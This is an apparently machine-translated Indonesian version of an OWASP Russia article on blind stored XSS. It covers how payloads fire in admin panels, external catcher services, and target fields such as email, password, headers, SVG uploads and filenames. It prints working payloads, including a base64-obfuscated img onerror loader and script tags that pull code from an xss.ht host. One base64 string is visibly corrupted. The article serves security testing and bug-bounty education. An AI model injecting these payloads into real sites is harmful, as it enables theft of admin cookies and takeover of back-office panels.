Kesederhanaan buta

gambar

Pada artikel ini saya akan berbicara tentang blind XSS - ini adalah serangan yang cukup sederhana, tetapi seringkali sangat efektif pada aplikasi web. Pengoperasian vektor serangan tersebut mengarah pada penangkapan panel admin dari berbagai layanan, termasuk raksasa perangkat lunak.

UPD: bagian dari muatan dari artikel bekerja pada Habr aggregator / parser, hal-hal seperti itu :)


Bagaimana cara kerjanya?


Pertama-tama, perlu dicatat bahwa XSS bukan kerentanan, tetapi jenis serangan pada sistem web. Ini terdiri dari memperkenalkan kode berbahaya ke halaman yang dikeluarkan oleh sistem web (yang akan dieksekusi di komputer pengguna ketika halaman ini dibuka olehnya) dan interaksinya dengan server web penyerang. Ada beberapa jenis XSS: disimpan, dicerminkan, dan DOM. Dalam artikel ini kami hanya akan mempertimbangkan XSS yang disimpan - mereka cocok untuk tujuan "menerobos".

Skema serangan adalah sebagai berikut: penyerang menempatkan muatan berbahaya pada aplikasi web, kode rentan masuk ke database dan "menembak" di panel admin proyek.

gambar

Seringkali, sebelum muatan dipicu, penyerang tidak curiga di mana dan kapan ia akan "menembak". Dari pengalaman saya sendiri, saya dapat mengatakan bahwa operasi payload berlangsung dari beberapa detik hingga beberapa bulan - sangat problematis untuk mempercepat proses ini.

gambar

Di mana payload akan bekerja juga merupakan faktor penting. Merasakan titik akhir XSS yang buta sama dengan menembakkan peluru dengan pusat gravitasi yang terlantar. Kadang-kadang panel admin terletak di subdomain yang mudah dilihat dari form manage007.attacked.site atau di luar situs yang diuji, pada alamat IP seperti XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Atau bisa juga, misalnya, sistem analitik yang umumnya di luar batas perusahaan yang diuji.

Titik akhir


Untuk mendapatkan "berhenti" dari payload kami, kami harus memiliki titik akhir eksternal untuk mencegat. Untuk melakukan ini, Anda dapat meningkatkan layanan dan mencegat semua panggilan ke sana, termasuk header menggunakan bahasa pemrograman yang dapat diterima untuk Anda.

gambar

Atau Anda dapat menggunakan opsi berikut (pilihan Anda).

BurpCollaborator adalah layanan eksternal khusus untuk pengguna Burp Suite Pro:



Gunakan layanan,% name% bin, misalnya requestbin :



Naikkan layanan Anda sendiri, misalnya menggunakan ezXSS :

gambar

Atau gunakan xsshunter (disarankan untuk pemula) - layanan untuk menghasilkan muatan dan mendapatkan "tendangan" dari muatan yang dipicu (termasuk email):



Muatan


Jadi, kami menemukan formulir input di situs dan kami ingin menguji teori kami bahwa orang buta akan bekerja di dalamnya. Untuk melakukan ini, kita perlu menyiapkan muatan, termasuk untuk memotong peralatan pelindung.

Layanan xsshunter menawarkan beberapa payload siap pakai untuk mengoperasikan blind XSS:

Muatan Uri:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

IMG payload:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

Bagian dari payload dikonversi ke base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHaa5aa5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

Muatan dalam bidang email:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 



Trik yang menarik


Sekarang pertimbangkan form input yang paling menarik untuk mengimplementasikan payload.
E-mail - contoh implementasi yang valid disajikan di atas, apakah berfungsi atau tidak tergantung pada jenis aplikasi web.

Di bidang kata sandi - di sini kita dapat mengetahui apakah aplikasi web menyimpan kata sandi dalam teks biasa dan apakah admin melihatnya.

Pembantu daring - terkadang menembak di sini juga.

Di tajuk - kami mengganti muatan di semua tajuk yang dapat kami kontrol: rujukan, agen pengguna, dll.

Svg vektor - memuat gambar / avatar dalam bentuk * .svg dapat memberi kita kesempatan untuk mengimplementasikan payload kami (contoh) . SVG berisi muatan:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

Bidang unggah file / nama file - kita dapat mencoba mengunduh dengan nama:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 



Berhenti berlangganan - Berhenti berlangganan bidang, "Pendapat Anda penting bagi kami", dan banyak lagi. Juga bentuk yang sangat menjanjikan untuk memperkenalkan muatan.

Survei - bidang "pilihan jawaban lain / Anda".

Tangkap


Dengan mengeksploitasi serangan ini, Anda dapat mengakses panel kontrol (dengan pengaturan keamanan yang tidak sesuai), tangkapan layar, struktur DOM, alamat IP admin, cookie, dll.

gambar

Serangan ini memungkinkan Anda untuk mengakses sistem pendukung , panel admin dan banyak lagi. Selama berpartisipasi dalam program Bug Bounty, beberapa tangkapan layar yang menarik telah dikumpulkan yang diperoleh selama serangan tersebut:



Kasino online :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



Sistem yang digunakan oleh 150.000 perusahaan di seluruh dunia:



Ada banyak tangkapan layar semacam itu - ini menunjukkan bahwa pengembang harus memberikan perhatian khusus tidak hanya pada jendela aplikasi web, tetapi juga pada bagian administratifnya.

UPD: bagian dari muatan dari artikel bekerja pada Habr aggregator / parser, hal-hal seperti itu :)





Artikel ini disiapkan sebagai bagian dari proyek OWASP.
OWASP Russia chapter: OWASP Russia
OWASP Russia chat: https://t.me/OWASP_Russia
OWASP Russia channel: https://t.me/OWASP_RU

Source: https://habr.com/ru/post/id450780/


All Articles